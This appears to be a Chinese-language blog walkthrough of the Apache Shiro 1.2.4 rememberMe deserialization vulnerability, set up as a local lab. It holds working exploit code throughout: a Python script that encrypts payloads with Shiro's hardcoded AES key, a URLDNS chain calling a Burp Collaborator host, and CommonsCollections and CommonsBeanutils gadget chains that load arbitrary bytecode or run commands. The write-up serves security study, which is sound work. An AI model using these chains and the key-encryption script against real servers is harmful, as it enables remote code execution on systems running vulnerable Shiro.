dnslog
下载https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
打开web项目,改一下pom.xml
添加version
这里返回了一个极大的cookie,根据经验来看,可能存储了用户的相关信息,推测可能是反序列化
两下shift 找到了这个
我们先看到这个rememberSerializedIdentity()方法可以清楚的看到对数组进行了base64加密操作,接着将base64存入了cookie中
这里的getRememberedSerializedIdentity()方法也可以看出来先获取了cookie中的值
返回了一个decoded数组,我们接着去看看谁调用的这个解码函数 也可以看到AbstractRememberMeManager类的getRememberedPrincipals()方法调用的
这里又接着去调用了decrpt()方法去解密
这里去get了密钥
我们去看看这个decryptionCipherKey是如何赋值的
这里我们也是主要去看set值的地方
接着找
接着找
可以看到这里的值是一个常量
这样我们就可以通过aes算法加base64来构造payload了
加个插件
这里发现cc只是在test阶段,也就是说cc链其实是没有被最后使用的,所以我们不能打cc链
先安包
pip install crypto pip install pycryptodome
|
写一下aes利用代码
import sys import base64 import uuid
from Crypto.Cipher import AES
def get_file_data(filename): with open(filename,"rb") as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
|
如果还是不行的话就改一下文件名从小写crypto改成Crypto
urldns的链
package org.example;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class urldns { public static void main(String[] args) throws Exception {
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
URL url = new URL("http://p9zs4jjd3p33527y055v96861x7nvc.burpcollaborator.net");
Class<? extends URL> urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url,111);
objectObjectHashMap.put(url,1);
hashCodeField.set(url,-1);
serilize(objectObjectHashMap);
} public static void serilize(Object obj)throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj);
} public static Object unserilize(String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object o = objectInputStream.readObject(); return o; }
}
|
这里直接打的话还是root登录状态,但是其实我们已经换了key了,这说明这个jsessionid也在起作用
删去之后也是正常收到了dns请求
看一下怎么反序列化的 在DefaultSerializer类的deserialize()
接着我们知道这里的readObject之后就会调用到HashMap的readObject中,所以我们去HashMap下个断点
cc链
既然要打cc就需要加一个cc的依赖
这里如果直接用cc6来试试看
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(objectObjectHashMap1);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
可见这里出现了问题
从这里看用的不是原生的readObject我们跟过去看看
这里可以看到重写了resolveClass,使用的是ClassUtils的forName,
原生的是CLass
可以看到这个注释
首先是加载一个HashMap
这里可以简单的理解为这个CLassUtil不能处理transform数组,而原生的可以处理,因此我们需要构造一条没有transform数组的链
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class SCC { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(objectObjectHashMap1);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
无依赖
删除
我们要打的就是左边lib的commons-benutils
在本地测试项添加依赖
Persion.java
package org.example;
public class Persion { private String name; public int age;
public void action(){ System.out.println("action test"); } @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Persion() { }
public Persion(String name, int age) { this.name = name; this.age = age; } }
|
package org.example; import org.apache.commons.beanutils.PropertyUtils; public class BeanTest { public static void main(String[] args) throws Exception{ Persion persion = new Persion("aaa", 18); System.out.println(PropertyUtils.getProperty(persion,"name")); } }
|
源码下不下来 官网下https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/
走到了这里
可见这里走出来之后得到了这个
有个invoke方法
现在要去找谁调用考虑getProperty
找到了这个BeanComprator
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class BeanTest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparator = priorityQueueClass.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
测试一下,可以先清理一下,在重启apache
这里发现没有加载到这个ComparableComparator,原因是这个是cc的,我们需要改成不是cc的
可发现下面还有一个构造函数
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class BeanTest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparator = priorityQueueClass.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|